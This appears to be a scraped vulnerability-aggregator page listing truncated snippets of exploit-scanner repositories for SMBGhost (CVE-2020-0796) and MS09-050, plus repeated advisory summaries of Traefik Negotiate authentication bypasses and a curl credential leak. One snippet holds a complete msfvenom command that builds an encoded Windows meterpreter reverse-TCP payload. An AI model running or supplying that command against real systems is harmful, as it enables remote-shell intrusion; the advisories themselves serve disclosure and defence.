eternalghosttest

Eternalghost Deutsch English Deutsch Dieses Repository enthält einen Testfall für CVE-2020-0796 Mit diesem kleinen Skript können Sie überprüfen, ob ein Server von Ihnen verwundbar ist. Das Skript prüft, ob Sie Compression aktiviert haben und die SMB-Version 3.1.1 ist. Das ganze geschieht über ein...

CVE-2020-0796-Scanner

SMBGhostscanner Simple scanner for CVE-2020-0796 - SMBv3. The scanner is for meant only for testing whether a server is vulnerable. It is not meant for research or development, hence the fixed payload. It checks for SMB dialect 3.1.1 and compression capability through a negotiate request...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 One liner to create/generate a payload for windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ One...

CVE-2026-114641

Traefik 2.11.x before 2.11.58 and 3.x before 3.7.14 contains a race condition in NTLM and Kerberos Negotiate backend authentication, where the per-connection sticky round tripper slot is read and written without synchronization. Remote attackers can send concurrent HTTP/2 or HTTP/3 requests over...

CVE-2026-114637

Traefik from v3.2.0 before v3.7.14 contains an authentication bypass vulnerability in the experimental FastProxy connection pool, which fails to pin NTLM/Negotiate-authenticated backend connections to their frontend connection. Unauthenticated clients can be handed a pooled keep-alive backend...

CVE-2026-114641

Traefik 2.11.x before 2.11.58 and 3.x before 3.7.14 contains a race condition in NTLM and Kerberos Negotiate backend authentication, where the per-connection sticky round tripper slot is read and written without synchronization. Remote attackers can send concurrent HTTP/2 or HTTP/3 requests over...

EUVD-2026-107896

Traefik 2.11.x before 2.11.58 and 3.x before 3.7.14 contains a race condition in NTLM and Kerberos Negotiate backend authentication, where the per-connection sticky round tripper slot is read and written without synchronization. Remote attackers can send concurrent HTTP/2 or HTTP/3 requests over...

CVE-2026-114639

Traefik versions 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 are vulnerable to an authentication bypass in the Negotiate connection pool . The root cause is that a first request using an Authorization: Negotiate token authenticates a socket within a globally shared backend connection pool that ...

EUVD-2026-107894

Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 contains an authentication bypass because a first request preauthenticated with an Authorization: Negotiate token authenticates a socket in the globally shared backend connection pool, which is never isolated. Unauthenticated attackers on...

CVE-2026-114637 Traefik v3.2.0 before v3.7.14 FastProxy NTLM/Negotiate Connection Pool Identity Leak

Traefik from v3.2.0 before v3.7.14 contains an authentication bypass vulnerability in the experimental FastProxy connection pool, which fails to pin NTLM/Negotiate-authenticated backend connections to their frontend connection. Unauthenticated clients can be handed a pooled keep-alive backend...

EUVD-2026-107892

Traefik from v3.2.0 before v3.7.14 contains an authentication bypass vulnerability in the experimental FastProxy connection pool, which fails to pin NTLM/Negotiate-authenticated backend connections to their frontend connection. Unauthenticated clients can be handed a pooled keep-alive backend...

CVE-2026-114637

Traefik versions v3.2.0 before v3.7.14 are vulnerable to an authentication bypass within the experimental FastProxy connection pool . The root cause is a failure to pin NTLM/Negotiate-authenticated backend connections to their specific frontend connections. Consequently, unauthenticated clients c...

CVE-2026-94265

When processing an HTTP redirect to a URL containing userinfo a username:password component, curl might erroneously retain and re-transmit the original host's HTTP Negotiate authentication state. Consequently, a malicious server can trigger a redirect containing arbitrary userinfo to force curl t...

CVE-2026-87861

When using ambient user credentials, an HTTP request directed to one origin may be dispatched over a connection previously authenticated via Negotiate for a different origin, leaving the request's intended credentials unused...

CVE-2026-94265

When processing an HTTP redirect to a URL containing userinfo a username:password component, curl might erroneously retain and re-transmit the original host's HTTP Negotiate authentication state. Consequently, a malicious server can trigger a redirect containing arbitrary userinfo to force curl t...

CVE-2026-94265

The curl library (and libcurl package) is vulnerable to an information exposure flaw when processing HTTP redirects to URLs containing userinfo (a username:password component). The software may erroneously retain and re-transmit the original host's HTTP Negotiate authentication state to an untrus...

CVE-2026-94265 Authorization: Negotiate sent to foreign origin

When processing an HTTP redirect to a URL containing userinfo a username:password component, curl might erroneously retain and re-transmit the original host's HTTP Negotiate authentication state. Consequently, a malicious server can trigger a redirect containing arbitrary userinfo to force curl t...

EUVD-2026-105353

When processing an HTTP redirect to a URL containing userinfo a username:password component, curl might erroneously retain and re-transmit the original host's HTTP Negotiate authentication state. Consequently, a malicious server can trigger a redirect containing arbitrary userinfo to force curl t...

CVE-2026-94265

When processing an HTTP redirect to a URL containing userinfo a "username:password" component, curl might erroneously retain and re-transmit the original host's HTTP Negotiate authentication state. Consequently, a malicious server can trigger a redirect containing arbitrary userinfo to force curl...

CVE-2026-94265

When processing an HTTP redirect to a URL containing userinfo a username:password component, curl might erroneously retain and re-transmit the original host's HTTP Negotiate authentication state. Consequently, a malicious server can trigger a redirect containing arbitrary userinfo to force curl t...